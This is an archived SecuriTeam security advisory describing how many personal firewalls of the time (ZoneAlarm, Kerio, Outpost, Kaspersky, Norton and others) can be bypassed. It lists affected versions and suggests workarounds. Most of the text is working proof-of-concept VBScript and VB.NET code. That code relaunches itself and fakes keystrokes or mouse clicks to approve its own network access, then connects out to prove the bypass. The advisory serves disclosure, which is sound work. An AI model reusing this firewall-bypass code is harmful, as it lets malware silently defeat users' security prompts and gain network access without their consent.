

[NT] Multiple Firewall Products Bypass Vulnerability

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From: SecuriTeam (support_at_securiteam.com)

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To: list@securiteam.com

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Multiple Firewall Products Bypass Vulnerability

SUMMARY

Most of personal Firewalls allow shortcuts or interface for controlling traffic. It's simple to bypass these Firewalls by utilizing a multi-threaded program combined with the ability to send keys or to control the mouse.

This flaw enables any Trojan or similar programs to easily bypass the Firewall and act as a server or access point to another computer. Also most of these Firewalls have a "remember" option therefore, if you bypass the Firewall and successfully exploit it, Firewall will never return to its previous condition (warning the user, or blocking the attack).

DETAILS

Vulnerable Products (Sending Key Method and Mouse Control):

These products are vulnerable to both of "Sending Key Method" and "Mouse Control Method"

- * ZoneAlarm / ZoneAlarm Pro (www.zonelabs.com) | Fixed
 - o 4.5.530.000

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- o 4.5.538.001
- o 5 and newer versions are not vulnerable

- * Kerio (www.kerio.com)
 - o 4.0.14

- * Agnitium Outpost Firewall (www.agnitium.com)
 - o 2.1.303.4009 (314)
 - o 2.5.369.4608 (369)

- * Kaspersky Anti-Hacker (www.kaspersky.com)
 - o 1.5.119.0

- * Look 'n' Stop (www.looknstop.com)
 - o 2.04p2

- * Symantec's Norton Personal Firewall (www.norton.com)
 - o 2004

Vulnerable Products (Mouse Control):

These products are only vulnerable to "Mouse Control Method", because they don't accept shortcuts but still vulnerable to "Mouse Control" attacks.

- * Panda Platinum Internet Security
 - o 8.03

- * Omnicad Personal Firewall
 - o 1.1

Proof of Concept:

2 Proof of Concepts attached to advisory (also some other POCs for some Firewalls)

First POC (bypassSendKey.vbs) written in VBScript (.vbs), This POC include required samples for ZoneAlarm, Kerio, Agnitium, Kaspersky Anti-Hacker, Look 'n' Stop and Symantec's Norton Personal Firewall. This script is executing an instance of itself for multithreading and send shortcuts to firewall while first instance trying to connect internet. Ferruh didn't write an auto determine firewall function (but it's so easy), so you need to set it by yourself.

Second (bypassMouseControl.txt) simulates an example of bypassing Zone Alarm Firewall by with mouse control, code in VB.NET. Program is not using a real multithread because some firewalls interrupt executing of program directly. So program is executing another instance of itself with an argument.

Both of them add themselves to secure app list of firewalls and then bypass active firewall.

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Also, Ferruh attached testFirewall.vbs for testing your firewall for application control.

Possible workaround:

All firewalls should ask password for all kind of "Allow" actions. In fact passwords can be fooled because of its nature but it is the best user friendly / secure solution for protection.

As a user of these firewalls, if your firewall supports to "deny all default" option, enable it, so your firewall deny all connections by default. After that you may can manually select programs for allow them.

Exploits:

All the exploits attached below are also available from:

<<http://ferruh.mavituna.com/opensource/firewallbypass.zip>>

<http://ferruh.mavituna.com/opensource/firewallbypass.zip>

Outpost

// By Ferruh Mavituna

// ferruh{ @ }mavituna.com, <http://ferruh.mavituna.com>

// Date : 4/25/2004

// Simple POC for Skipping Zone Alarm Firewall with sendKeys and multithreading

// Related Advisory : NOT PUBLISHED YET

'Modified for Agnitium Outpost Firewall 2.1.303.4009 (314)

'Tested : Agnitium Outpost Firewall 2.5.369.4608 (369)

'5/5/2004

'02.01.2005

'Ferruh Mavituna

'Const DELAY = 1000

'Const TIMES = 1

'Const EXTRADELAY = 0

Option Explicit

Dim argLen, shell, sendKeyMod, i, appName

Const DELAY = 1000

Const TIMES = 1

Const EXTRADELAY = 0

appName = Wscript.ScriptName

'SendKey

sendkeyMod = False

argLen = WScript.Arguments.Length

If argLen>0 Then sendkeyMod = True

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```
Set shell = WScript.CreateObject("WScript.Shell")

If sendKeyMod Then

    'First Sleep for a while
    If EXTRADELAY>0 Then WScript.Sleep EXTRADELAY

    'Force
    While i<TIMES
        i=i+1
        WScript.Sleep DELAY
        '1) First add it trusted
        shell.sendKeys "+{TAB}" 'Go back once
        shell.sendKeys "{UP 2}" 'Go Up

        '1) Press Enter
        shell.sendKeys "{ENTER}" 'Enter
    Wend

    'Exit
    'Wscript.Echo "Exit !"
    Wscript.Quit 1
End If

'Wscript.Echo WScript.ScriptFullName
Call shell.Run(appName & " /send")

'Connect
Wscript.Echo connect("http://ferruh.mavituna.com") & "Mission
Accomplished..."

Set shell = Nothing
Wscript.Quit 1

Function connect(ByVal URL)
    Dim web
    Set web = CreateObject("Microsoft.XmlHttp")
    web.open "HEAD", URL, FALSE
    web.send ""
    connect = web.getAllResponseHeaders
    Set web = Nothing
End Function

Anti-hacker
*****
// By Ferruh Mavituna
// ferruh{ @ }mavituna.com, http://ferruh.mavituna.com
*****
// Date : 4/25/2004
// Simple POC for Bypassing multiple firewall products
// Related Advisory : NOT PUBLISHED YET
```

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'HISTORY

'3/5/2004

'Added ZA

'5/5/2004

'Added Kerio, Outpost

'6/5/2004

'Added Kaspersky Anti-Hacker

Option Explicit

Dim arrKeys(5,5), arrDelays(5,2), arrRegistry(5,1),intFirewall

Const EXTRADELAY = 0

Const DETERMINEFIREWALL = FALSE 'Auto Determine current Firewall

'-----

'Define Delays and Times for Firewalls

'-----

'// Firewalls

'ZoneAlarm Pro, 4.5.530 (tested Windows 2003 & WinXP)

Const ZoneAlarm = 0

'Kerio 4.0.14

Const Kerio = 1

'Agnitium Outpost Firewall 2.1.303.4009 (314)

Const Outpost = 2

'Kaspersky Anti-Hacker 1.5.119.0

Const Kaspersky = 3

'Select Active Firewall

intFirewall = Kaspersky

'// Configuration

'Kaspersky Anti-Hacker

arrDelays(Kaspersky,0) = 1000

arrDelays(Kaspersky,1) = 1

'Define Keys for Firewalls

arrKeys(Kaspersky,0) = "{ENTER}"

If DETERMINEFIREWALL Then

'TODO:Read Registries and determine it !

End If

Dim argLen, shell, sendKeyMod, i, j, appName

appName = Wscript.ScriptName

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```
'SendKey
sendkeyMod = False
argLen = WScript.Arguments.Length
If argLen>0 Then sendkeyMod = True

Set shell = WScript.CreateObject("WScript.Shell")

If sendKeyMod Then

    'First Sleep for a while
    If EXTRADELAY>0 Then WScript.Sleep EXTRADELAY

    'Force
    While i<arrDelays(intFirewall,1)
        i=i+1
        WScript.Sleep arrDelays(intFirewall,0)

        'Send Keys
        For j=0 To Ubound(arrKeys,2)
            If arrKeys(intFirewall,j)<>"" Then
                shell.sendKeys arrKeys(intFirewall,j)
            End If
        Next

    Wend

    'Exit
    'Wscript.Echo "Exit !"
    Wscript.Quit 1
End If

'Wscript.Echo WScript.ScriptFullName
Call shell.Run(appName & " /send")

'Connect
Wscript.Echo connect("http://ferruh.mavituna.com") & "Mission
Accomplished..."

Set shell = Nothing
Wscript.Quit 1

Function connect(ByVal URL)
    Dim web
    Set web = CreateObject("Microsoft.XmlHttp")
    web.open "HEAD", URL, FALSE
    web.send ""
    connect = web.getAllResponseHeaders
    Set web = Nothing
End Function
```

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ZoneAlarm

```
*****  
// By Ferruh Mavituna  
// ferruh{ @ }mavituna.com, http://ferruh.mavituna.com  
*****  
// Date : 4/25/2004  
// Simple POC for Skipping Zone Alarm Firewall with sendKeys and  
multithreading  
// Related Advisory : NOT PUBLISHED YET  
*****
```

Option Explicit

```
Dim argLen, shell, sendKeyMod, i  
Const DELAY = 10  
Const TIMES = 15
```

```
'SendKey  
sendkeyMod = False  
argLen = WScript.Arguments.Length  
If argLen>0 Then sendkeyMod = True
```

```
Set shell = WScript.CreateObject("WScript.Shell")
```

```
If sendKeyMod Then  
    While i<TIMES  
        i=i+1  
        WScript.Sleep DELAY  
        shell.sendKeys "%R" 'Remember, Do not ask again !  
        shell.sendKeys "%Y" 'Click Yes  
    Wend
```

```
    'Exit  
    'Wscript.Echo "Exit !"  
    Wscript.Quit 1  
End If
```

```
'Wscript.Echo WScript.ScriptFullName  
Call shell.Run("skipZA.vbs /send")
```

```
'Connect  
Wscript.Echo connect("http://ferruh.mavituna.com") & "Mission  
Accomplished..."
```

```
Set shell = Nothing  
Wscript.Quit 1
```

```
Function connect(ByVal URL)  
    Dim web  
    Set web = CreateObject("Microsoft.XmlHttp")  
    web.open "HEAD", URL, FALSE  
    web.send ""
```

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```
connect = web.getAllResponseHeaders
Set web = Nothing
End Function

testFirewall
*****
// By Ferruh Mavituna
// ferruh{ @ }mavituna.com, http://ferruh.mavituna.com
*****
// Date : 4/25/2004
// Simple POC for Skipping Zone Alarm Firewall with sendKeys and
multithreading
// Simple Firewall Test File
// Related Advisory : NOT PUBLISHED YET
*****
Option Explicit

Dim shell, sendKeyMod, Result
Const URL = "http://ferruh.mavituna.com"

'Connect
Wscript.Echo "Now I'll try to connect to " & URL

If connect(URL,Result) Then
    Wscript.Echo "Mission Accomplished..., Here is the headers;" &
vbNewline & Result
Else
    Wscript.Echo "OK, I couldn't access to Internet"
End If

Set shell = Nothing
Wscript.Quit 1

Function connect(ByVal URL, ByRef Result)
    connect = True
    On Error Resume Next

        ERR.Clear
        Dim web
        Set web = CreateObject("Microsoft.XmlHttp")
        web.open "HEAD", URL, FALSE
        web.send ""
        Result = web.getAllResponseHeaders
        Set web = Nothing

    If ERR<>0 Then connect = False
End Function

Norton Firewall
*****
// By Ferruh Mavituna
```

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```
// ferruh{ @ }mavituna.com, http://ferruh.mavituna.com
*****
// Date : 4/25/2004
// Simple POC for Skipping Zone Alarm Firewall with sendKeys and
multithreading
// Related Advisory : NOT PUBLISHED YET
*****
Option Explicit

Dim argLen, shell, sendKeyMod, i
Const DELAY = 10
Const TIMES = 15

'SendKey
sendkeyMod = False
argLen = WScript.Arguments.Length
If argLen>0 Then sendkeyMod = True

Set shell = WScript.CreateObject("WScript.Shell")

If sendKeyMod Then
    While i<TIMES
        i=i+1
        WScript.Sleep DELAY
        shell.sendKeys "%A" 'Remember, Do not ask again !
        shell.sendKeys "%O" 'Click Yes
    Wend
    'Customized for norton fw by Oezguer Mavituna
    'Exit
    'Wscript.Echo "Exit !"
    Wscript.Quit 1
End If

'Wscript.Echo WScript.ScriptFullName
Call shell.Run("skipZA.vbs /send")

'Connect
Wscript.Echo connect("http://ferruh.mavituna.com") & "Mission
Accomplished..."

Set shell = Nothing
Wscript.Quit 1

Function connect(ByVal URL)
    Dim web
    Set web = CreateObject("Microsoft.XmlHttp")
    web.open "HEAD", URL, FALSE
    web.send ""
    connect = web.getAllResponseHeaders
    Set web = Nothing
End Function
```

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MoseControl

```
*****  
// By Ferruh Mavituna  
// ferruh{ @ }mavituna.com, http://ferruh.mavituna.com  
*****  
// Date : 5/19/2004  
// Simple POC for Bypassing multiple firewall products  
// Code : VB.NET  
*****
```

```
Private Declare Sub mouse_event Lib "user32" (ByVal dwFlags As Long, ByVal  
dx As Long, ByVal dy As Long, ByVal cbuttons As Long, ByVal dwExtraInfo As  
Long)
```

```
Private Declare Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As  
Long)
```

```
Private Const MOUSEEVENTF_LEFTDOWN = &H2  
Private Const MOUSEEVENTF_LEFTUP = &H4  
Private Const MOUSEEVENTF_MIDDLEDOWN = &H20  
Private Const MOUSEEVENTF_MIDDLEUP = &H40  
Private Const MOUSEEVENTF_RIGHTDOWN = &H8  
Private Const MOUSEEVENTF_RIGHTUP = &H10
```

```
Private Const sleepTime = 0.5 'As Second  
Private Const slowMotion = True 'Debug !
```

```
'Firewalls  
Const ZoneAlarm As Integer = 0
```

```
'Set Points  
Dim arrFirewalls(1, 3) As Integer  
Dim activeFirewall As Integer = ZoneAlarm
```

```
Private Sub setupFirewalls()  
    'Get Current Screen  
    'This is just POC, Real World Example should automaticly  
    detect installed firewall, change sleep times, car about exact positoin,  
    taskbar position etc. But It's easy to write a real world example  
    Dim screenY As Integer =  
Screen.PrimaryScreen.Bounds.Height  
    Dim screenX As Integer = Screen.PrimaryScreen.Bounds.Width  
  
    arrFirewalls(ZoneAlarm, 0) = screenX - 250 'X  
Remember !  
    arrFirewalls(ZoneAlarm, 1) = screenY - 130  
'Y  
  
    arrFirewalls(ZoneAlarm, 2) = screenX - 190 '  
Yes  
    arrFirewalls(ZoneAlarm, 3) = screenY - 93
```

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End Sub

```
Private Sub frmFirewallTest_Load(ByVal sender As System.Object,  
ByVal e As System.EventArgs) Handles MyBase.Load
```

```
'Hide App  
Me.ShowInTaskbar = False  
Me.Visible = False
```

```
'Args  
Dim flagArg As String = Application.ExecutablePath
```

```
If Environment.GetCommandLineArgs().Length > 1 Then
```

```
'Sleep;  
Sleep(sleepTime * 1000)
```

```
'Try;  
setupFirewalls()
```

```
If slowMotion Then Sleep(1000)
```

```
'First Access  
bypassFirewall(arrFirewalls(activeFirewall, 0),  
arrFirewalls(activeFirewall, 1))
```

```
If slowMotion Then Sleep(1000)  
bypassFirewall(arrFirewalls(activeFirewall, 2),  
arrFirewalls(activeFirewall, 3))
```

```
'Gain Access for HTTP  
Sleep(300)
```

```
If slowMotion Then Sleep(1000)  
bypassFirewall(arrFirewalls(activeFirewall, 0),  
arrFirewalls(activeFirewall, 1))
```

```
If slowMotion Then Sleep(1000)  
bypassFirewall(arrFirewalls(activeFirewall, 2),  
arrFirewalls(activeFirewall, 3))
```

```
'Quit !  
Me.Dispose()
```

```
Else
```

```
System.Diagnostics.Process.Start(flagArg,  
"skipme")
```

```
'Access Internet  
If downloadURL() Then  
    MessageBox.Show("Succeeded !, Firewall
```

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```
ByPassed !", "Firewall ByPassed !", MessageBoxButtons.OK,  
MessageBoxIcon.Warning)
```

```
End If
```

```
Me.Dispose()
```

```
End If
```

```
End Sub
```

```
'Bypas POC
```

```
Private Sub bypassFirewall(ByVal X As Integer, ByVal Y As Integer)
```

```
'Save Old Positions for return !
```

```
Dim oldX As Integer = Cursor.Position.X
```

```
Dim oldY As Integer = Cursor.Position.Y
```

```
'Set New Position
```

```
Cursor.Position = New Point(X, Y)
```

```
'Click
```

```
mouse_event(MOUSEEVENTF_LEFTDOWN, 0, 0, 0, 0)
```

```
mouse_event(MOUSEEVENTF_LEFTUP, 0, 0, 0, 0)
```

```
'Return
```

```
Cursor.Position = New Point(oldX, oldY)
```

```
End Sub
```

```
'Connect Internet
```

```
Private Function downloadURL() As Boolean
```

```
downloadURL = True
```

```
Try
```

```
Dim wc As New System.Net.WebClient()
```

```
wc.DownloadFile("http://ferruh.mavituna.com",
```

```
"C:\firewalltest.htm")
```

```
Catch
```

```
MessageBox.Show("Can not connected !", "Not  
Connected !", MessageBoxButtons.OK, MessageBoxIcon.Error)
```

```
downloadURL = False
```

```
End Try
```

```
End Function
```

```
bypassSendKey
```

```
*****
```

```
// By Ferruh Mavituna
```

```
// ferruh{ @ }mavituna.com, http://ferruh.mavituna.com
```

```
*****
```

```
// Date : 4/25/2004
```

```
// Simple POC for Bypassing multiple firewall products
```

```
*****
```

```
'HISTORY
```

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'3/5/2004

'Added ZA

'5/5/2004

'Added Kerio, Outpost

'6/5/2004

'Added Kaspersky Anti-Hacker

'5/9/2004

'LooknStop

'5/20/2004

'Norton

Option Explicit

```
Dim arrKeys(5,5), arrDelays(5,2), arrRegistry(5,1),intFirewall
Const EXTRADELAY = 0
Const DETERMINEFIREWALL = FALSE 'Auto Determine current Firewall
```

'-----

'Define Delays and Times for Firewalls

'-----

```
// Firewalls
'ZoneAlarm Pro, 4.5.530 (tested Windows 2003 & WinXP) |
www.zonelabs.com
Const ZoneAlarm = 0

'Kerio 4.0.14
Const Kerio = 1

'Agnitium Outpost Firewall 2.1.303.4009 (314) | www.agnitium.com
Const Outpost = 2

'Kaspersky Anti-Hacker 1.5.119.0 | www.kaspersky.com
Const Kaspersky = 3

'Look 'n' Stop 2.04p2 | www.looknstop.com
Const LooknStop = 4

'Norton | www.norton.com
Const Norton = 5

'Select Active Firewall
intFirewall = ZoneAlarm

// Configuration
'Define Keys, Delays, Repeat Times for Firewalls
```

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'Kaspersky Anti-Hacker

arrDelays(Kaspersky,0) = 400

arrDelays(Kaspersky,1) = 2

arrKeys(Kaspersky,0) = "{ENTER}" 'Just say OK

'ZoneAlarm

arrDelays(ZoneAlarm,0) = 10

arrDelays(ZoneAlarm,1) = 15

arrKeys(ZoneAlarm,0) = "%R" 'Select Remember

arrKeys(ZoneAlarm,1) = "%Y" 'Yes

'Outpost

arrDelays(Outpost,0) = 1000

arrDelays(Outpost,1) = 1

arrKeys(Outpost,0) = "+{TAB}" 'Go back once

arrKeys(Outpost,1) = "{UP 2}" 'Go Up

arrKeys(Outpost,1) = "{ENTER}" 'Enter

'Kerio

arrDelays(Kerio,0) = 100

arrDelays(Kerio,1) = 10

arrKeys(Kerio,0) = " " 'Space – Remember, Do not ask again !

arrKeys(Kerio,1) = "%P" ' Yes

'LookNStop

arrDelays(LooknStop,0) = 1000

arrDelays(LooknStop,1) = 1

arrKeys(LooknStop,0) = "(%+{TAB})" ' Authorize

arrKeys(LooknStop,1) = "{LEFT}" ' Left

arrKeys(LooknStop, 2) = " " ' Space

'Norton

arrDelays(Norton,0) = 100

arrDelays(Norton,1) = 5

arrKeys(Norton,0) = "%A" ' Allow

arrKeys(Norton,1) = "%O" ' OK

If DETERMINEFIREWALL Then

'TODO:Read Registries and determine it !

End If

Dim argLen, shell, sendKeyMod, i, j, appName

appName = Wscript.ScriptName

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```
'SendKey
sendkeyMod = False
argLen = WScript.Arguments.Length
If argLen>0 Then sendkeyMod = True

Set shell = WScript.CreateObject("WScript.Shell")

If sendKeyMod Then

    'First Sleep for a while
    If EXTRADELAY>0 Then WScript.Sleep EXTRADELAY

    'Force
    While i<arrDelays(intFirewall,1)
        i=i+1
        WScript.Sleep arrDelays(intFirewall,0)

        'Send Keys
        For j=0 To Ubound(arrKeys,2)
            If arrKeys(intFirewall,j)<>"" Then
                shell.sendKeys arrKeys(intFirewall,j)
            End If
        Next

    Wend

    'Exit
    'Wscript.Echo "Exit !"
    Wscript.Quit 1
End If

'Wscript.Echo WScript.ScriptFullName
Call shell.Run(appName & " /send")

'Connect
Wscript.Echo connect("http://ferruh.mavituna.com") & "Mission
Accomplished..."

Set shell = Nothing
Wscript.Quit 1

Function connect(ByVal URL)
    Dim web
    Set web = CreateObject("Microsoft.XmlHttp")
    web.open "HEAD", URL, FALSE
    web.send ""
    connect = web.getAllResponseHeaders
    Set web = Nothing
End Function
```

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Kerio

```
*****  
// By Ferruh Mavituna  
// ferruh{ @ }mavituna.com, http://ferruh.mavituna.com  
*****  
// Date : 4/25/2004  
// Simple POC for Skipping Zone Alarm Firewall with sendKeys and  
multithreading  
// Related Advisory : NOT PUBLISHED YET  
*****  
'Modified for Kerio 4.0.14  
'5/5/2004  
'Ferruh Mavituna  
  'Const DELAY = 100  
  'Const TIMES = 10  
*****
```

Option Explicit

Dim argLen, shell, sendKeyMod, i, appName

Const DELAY = 100

Const TIMES = 10

appName = Wscript.ScriptName

'SendKey

sendkeyMod = False

argLen = WScript.Arguments.Length

If argLen>0 Then sendkeyMod = True

Set shell = WScript.CreateObject("WScript.Shell")

If sendKeyMod Then

While i<TIMES

i=i+1

WScript.Sleep DELAY

shell.sendKeys " " 'Remember, Do not ask again !

shell.sendKeys "%P" 'Click Yes

Wend

'Exit

'Wscript.Echo "Exit !"

Wscript.Quit 1

End If

Wscript.Echo WScript.ScriptFullName

Call shell.Run(appName & " /send")

'Connect

Wscript.Echo connect("<http://ferruh.mavituna.com>") & "Mission
Accomplished..."

Securiteam: [NT] Multiple Firewall Products Bypass Vulnerability

```
Set shell = Nothing  
Wscript.Quit 1
```

```
Function connect(ByVal URL)  
    Dim web  
    Set web = CreateObject("Microsoft.XmlHttp")  
    web.open "HEAD", URL, FALSE  
    web.send ""  
    connect = web.getAllResponseHeaders  
    Set web = Nothing  
End Function
```

ADDITIONAL INFORMATION

The information has been provided by <mailto:ferruh@mavituna.com> Ferruh Mavituna.

The original article can be found at:

<<http://ferruh.mavituna.com/article/?769>>

<http://ferruh.mavituna.com/article/?769>

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